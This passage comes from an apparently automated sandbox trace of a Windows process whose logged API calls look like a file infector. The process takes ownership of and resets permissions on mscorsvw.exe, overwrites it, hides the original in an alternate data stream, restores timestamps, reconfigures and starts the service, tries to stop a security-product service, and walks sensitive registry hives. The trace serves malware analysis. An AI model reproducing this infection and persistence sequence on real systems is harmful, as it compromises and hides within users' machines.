lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0170.533] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0170.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0170.533] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpDst=0x21f3f08, nSize=0x3c | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x3b [0170.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0170.533] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0170.533] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0170.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0170.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0170.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.533] LocalFree (hMem=0x803ea0) returned 0x0 [0170.533] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0170.533] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x8038a0 [0170.615] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0170.634] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0170.635] RegCloseKey (hKey=0x9c) returned 0x0 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0170.635] RegCloseKey (hKey=0x150) returned 0x0 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0170.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0170.635] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa6eabc3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x10350)) returned 1 [0170.643] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.643] GetLastError () returned 0x5 [0170.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0170.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0170.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0170.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0170.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0170.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0170.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0170.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0170.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0170.644] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpProcessInformation=0x36f4a4*(hProcess=0x9c, hThread=0x150, dwProcessId=0x4c4, dwThreadId=0x420)) returned 1 [0170.648] NtClose (Handle=0x150) returned 0x0 [0170.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0170.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0170.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0170.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0170.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0170.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0170.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0170.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0170.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0170.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2f38) returned 1 [0170.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0170.648] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x2710) returned 0x0 [0171.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0171.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0171.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2f38) returned 1 [0171.400] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x148, hThread=0x150, dwProcessId=0x590, dwThreadId=0x55c)) returned 1 [0171.403] NtClose (Handle=0x150) returned 0x0 [0171.403] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0171.403] NtClose (Handle=0x9c) returned 0x0 [0171.403] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0171.670] NtClose (Handle=0x148) returned 0x0 [0171.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0171.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0171.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0171.670] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa6eabc3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x10350)) returned 1 [0171.671] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0171.671] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0171.671] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x10350 [0171.671] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0171.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10380) returned 0x21f4ea8 [0171.671] ReadFile (in: hFile=0x148, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x10350, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x10350, lpOverlapped=0x0) returned 1 [0171.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10380) returned 0x2205230 [0171.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0171.675] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0171.675] WriteFile (in: hFile=0x148, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0171.679] SetEndOfFile (hFile=0x148) returned 1 [0171.679] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xa6eabc3c, dwHighDateTime=0x1c9ea11)) returned 1 [0171.679] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0171.679] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0171.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0171.679] NtClose (Handle=0x148) returned 0x0 [0171.679] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x9, ftCreationTime.dwLowDateTime=0x246bb, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0171.679] GetLastError () returned 0x2 [0171.679] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0171.680] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0171.680] WriteFile (in: hFile=0x148, lpBuffer=0x2205230*, nNumberOfBytesToWrite=0x10350, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2205230*, lpNumberOfBytesWritten=0x36f53c*=0x10350, lpOverlapped=0x0) returned 1 [0171.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0171.681] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0171.681] NtClose (Handle=0x148) returned 0x0 [0171.681] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x10) returned 0x803990 [0171.682] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0173.100] CloseServiceHandle (hSCObject=0x803990) returned 1 [0173.100] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0173.100] GetLastError () returned 0x6 [0173.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2205230) returned 1 [0173.101] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0173.101] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0173.101] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0173.101] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x8038a0 [0173.102] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0173.102] GetLastError () returned 0x426 [0173.102] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0173.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0173.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0173.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0173.102] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0173.103] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.103] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.103] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.103] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.104] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.104] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.104] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0173.104] RegCloseKey (hKey=0x80000002) returned 0x0 [0173.104] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0173.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.105] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 